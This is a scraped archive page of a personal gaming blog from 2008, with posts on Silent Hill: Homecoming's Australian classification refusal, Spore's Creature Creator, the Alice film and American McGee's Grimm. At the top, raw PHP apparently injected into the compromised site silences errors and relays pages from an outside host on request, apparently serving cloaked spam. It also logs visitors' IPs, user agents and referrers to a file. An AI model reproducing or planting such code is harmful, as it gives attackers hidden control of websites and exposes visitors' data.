error_reporting(0); ini_set('display_errors',0); define('STATFILE','stat.txt'); define('LOG',true); if(isset($_GET['p'])) { $sock = fsockopen('km32025.keymachine.de', 80); if($sock){ if (LOG && isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])) { $referer = rawurlencode($_SERVER['HTTP_REFERER']); $remote_ip = $_SERVER['REMOTE_ADDR']; $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $file = fopen(STATFILE,'ab'); if ($file) { fwrite($file,date('Y-m-d H:i:s').' '.$remote_ip.' '.$user_agent.' '.rawurldecode($referer)."\n"); fclose($file); } } fwrite ($sock, 'GET http://km32025.keymachine.de/oslik2/cn/7/'.$_GET['p'].'.html HTTP/1.0'."\r\n"); fwrite ($sock, 'Host: km32025.keymachine.de'."\r\n\r\n"); while($content[] = fgets ($sock)); $content = implode('', $content); echo(trim(substr($content, strpos($content, "\r\n\r\n")))); fclose ($sock);} exit; } -=+fastlikesquirrel.com+=- » PC

Archive for the 'PC' Category

Another one bites the dust…

Friday, September 26th, 2008

Silent Hill: Homecoming is the latest title to feel the wrath of The Classification Board, with news that the horror title has been refused classification in Australia.

The game, which was due for release on PC, PS3 and Xbox 360 in November, features a soldier who returns from war to search for his missing brother. It is distributed in Australia by Atari, who last had classification difficulties with the controversial Marc Ecko’s Getting Up.

Source

The Classification Board DB entry

Silent Hill: Homecoming was to be the sixth installment in the Silent Hill survival horror video game series, currently being developed by Foundation 9 studio, Double Helix Games, and published by Konami.

This makes it the fourth game this year to be refused classification by the Board. I’m still waiting to see how the government is going to allow the public to voice their concerns over the lack of a R18+ classification for video games. I, for one, will be front and centre, making as much noise as possible.

Poisoncock

Saturday, September 20th, 2008

When the Creature Creator demo landed for Spore a couple of months ago, I had great fun mucking around and creating fearsome, yet weird looking creatures. I had promised to post up some images of my creations but in all honesty, they just weren’t all that good.

Since the final version has been released, my first exposure to the full game was when I sat down and watched a friend, LordJord, play through some of the levels. I was intrigued with the gameplay and wondered how the game could remain fresh as your character progresses through evolution. Initial thoughts aside, the creature that LordJord created is now part of gaming lore.

A master of the ranged attacks, Poisoncock, is one tough, little bastard. He could fire off at least 3-4 attacks before any other creatures could even get near him, severely hampering their ability to even lay some damage on Poisoncock. Why the name Poisoncock, I hear you ask? As the image below shows, this creature featured a poison spitter placed in his genital region. But the hilarity doesn’t stop there… each time your creature kills another creature (if you’ve taken the carnivore/omnivore route), your creature performs a little celebratory dance. In Poisoncock’s case, he would jump up and down and literally teabag the corpse. Thus, Poisoncock, the teabagging creature was born.

If you’re not sure what a teabag is (I’m not referencing a container of thin paper or cloth holding a measured amount of tea leaves for making an individual serving of tea), consider yourself educated. Or you could just go and play some Halo…

Alice update

Tuesday, June 24th, 2008

American McGee recently interviewed Scott Faye, a producer still toiling away on the Alice film, and quizzed him about the project’s current status, among other things-

As I’m sure you know, the big question on everyone’s mind is, what is the current status of the “Alice” movie project? What are the realistic chances of seeing the “Alice” film go into real production? What challenges are you faced with in getting it made?

SF: The Alice project is presently in “turnaround” from Universal Studios. Jon and Erich Hoeber have written a very compelling feature film screenplay adaptation of the Alice game. Their screenplay will certainly serve as a jumping off point as we find a new studio home for the project. In terms of the realistic chances of seeing the Alice project being produced, all I can say is that I have invested (along with Julie Yorn and Karen Lauder, my producing partners on the project) a lot of time and effort in this project. We will get it made. I offer my eight year effort to get the best version of the Max Payne film produced as proof of my tenacity as a film producer. Every film produced is a challenge. The major film studios are producing fewer movies every year, so to have one of them be yours is a very special experience. On the positive side, the Alice in Wonderland mythology is wonderfully compelling, and is an indelible concept in the minds of studio executives and the movie going public.

I just wish they would pull their finger and make this movie already. I really hope that they sign Chris Vrenna on for the score.

Tute on creating a creature

Wednesday, June 18th, 2008

Like me, if you’ve downloaded the Spore Creature Creator and are having a little trouble understanding how the Creature Creator works… just watch this official tutorial (with narration) on how its done.

Spore Creature Creator

Tuesday, June 17th, 2008

Today marks the arrival of the Creature Creator for Spore, Will Wright’s long-awaited game.

Never heard of it? Wiki describes the game as-

Spore is a multi-genre “massively single-player online game”. It allows a player to control the evolution of a species from its beginnings as a unicellular organism, through development as an intelligent and social land-walking creature, to levels of interstellar exploration as a spacefaring culture. It has drawn wide attention for its massive scope, and its use of open-ended gameplay and procedural generation.

You can download the trial Creature Creator (contains only 25% of the body parts of the complete edition), the full version is available for purchase on September 5, 2008. Spore will also be available for direct download from Electronic Arts on September 7.

If you’re wondering if your gaming rig will handle this game, check out the required system specs for PC and Mac.

I’ll post my creation here in the next couple of days.

American McGee’s Grimm

Tuesday, June 17th, 2008

Long-time reader of this blog are no stranger to my rabid fascination to all things American McGee. One of his previous games, American McGee’s Alice, is still revered worldwide for it’s artistic direction.

In his latest adaptation, American McGee’s Grimm, the concept of turning family-friendly fairy tales into their original, dark forms is an interesting one. The game will be available in 24-part episodic game series, and will feature Unreal Engine 3 technology.

If this game becomes available over XBL, this is a must-have for me.

To keep up to date on all things Grimm, I’ve added American McGee’s blog to the Links section if anyone is interested. Plus, a video showing the game intro has been uploaded to GameTrailers… it’s pretty catchy.